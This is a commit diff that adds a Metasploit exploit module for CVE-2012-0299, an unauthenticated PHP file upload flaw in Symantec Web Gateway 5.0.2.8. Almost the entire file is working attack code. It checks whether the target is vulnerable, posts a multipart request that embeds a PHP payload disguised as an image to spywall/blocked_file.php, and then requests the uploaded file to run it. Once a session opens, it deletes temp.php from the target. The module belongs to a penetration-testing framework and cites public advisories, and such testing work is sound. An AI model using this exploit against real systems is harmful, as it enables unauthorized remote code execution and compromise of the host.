Added module for CVE-2012-0299

modules/exploits/linux/http/symantec_web_gateway_file_upload.rb

@@ -0,0 +1,126 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Symantec Web Gateway 5.0.2.8 Arbitrary PHP File Upload Vulnerability",
+			'Description'    => %q{
+					This module exploits a file upload vulnerability found in Symantec Web Gateway's
+				HTTP service due to the incorrect manage of file extensions in the upload_file()
+				function. This module abuses the spywall/blocked_file.php file to upload an arbitrary
+				php file without any authentication, which results in arbitrary code execution.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'Tenable Network Security', # Vulnerability Discovery
+					'juan vazquez' # Metasploit module
+				],
+			'References'     =>
+				[
+					[ 'CVE', '2012-0299' ],
+					[ 'OSVDB', '82025' ],
+					[ 'BID', '53443' ],
+					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ],
+					[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => ['php'],
+			'Arch'           => ARCH_PHP,
+			'Targets'        =>
+				[
+					['Symantec Web Gateway 5.0.2.8', {}],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "May 17 2012",
+			'DefaultTarget'  => 0))
+	end
+
+
+	def check
+		res = send_request_raw({
+			'method' => 'GET',
+			'uri'    => '/spywall/login.php'
+		})
+
+		if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
+			return Exploit::CheckCode::Detected
+		else
+			return Exploit::CheckCode::Safe
+		end
+	end
+
+	def on_new_session(client)
+		if client.type == "meterpreter"
+			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
+			client.fs.file.rm("temp.php")
+		else
+			client.shell_command_token("rm temp.php")
+		end
+	end
+
+	def exploit
+		uri = target_uri.path
+		uri << '/' if uri[-1,1] != '/'
+
+		peer = "#{rhost}:#{rport}"
+		payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php'
+		before_filename = rand_text_alpha(rand(10) + 5)
+		after_filename = rand_text_alpha(rand(10) + 5)
+
+		post_data = Rex::MIME::Message.new
+		post_data.add_part("true", nil, nil, "form-data; name=\"submitted\"")
+		post_data.add_part(before_filename, "application/octet-stream", nil, "form-data; name=\"before_filename\"")
+		post_data.add_part(after_filename, "application/octet-stream", nil, "form-data; name=\"after_filename\"")
+		post_data.add_part("<?php #{payload.encoded} ?>", "image/gif", nil, "form-data; name=\"new_image\"; filename=\"#{payload_name}\"")
+
+		print_status("#{peer} - Sending PHP payload (#{payload_name})")
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => "#{uri}spywall/blocked_file.php",
+			'ctype'  => "multipart/form-data; boundary=#{post_data.bound}",
+			'data'   => post_data.to_s
+		})
+
+		# If the server returns 200 and the body contains the name
+		# of the default file, we assume we uploaded the malicious
+		# file successfully
+		if not res or res.code != 200 or res.body !~ /temp.php/
+			print_error("#{peer} - File wasn't uploaded, aborting!")
+			return
+		end
+
+		print_status("#{peer} - Executing PHP payload (#{payload_name})")
+		# Execute our payload
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri'    => "#{uri}spywall/images/upload/temp/temp.php"
+		})
+
+		# If we don't get a 200 when we request our malicious payload, we suspect
+		# we don't have a shell, either.  Print the status code for debugging purposes.
+		if res and res.code != 200
+			print_status("#{peer} - Server returned #{res.code.to_s}")
+		end
+	end
+
+
+end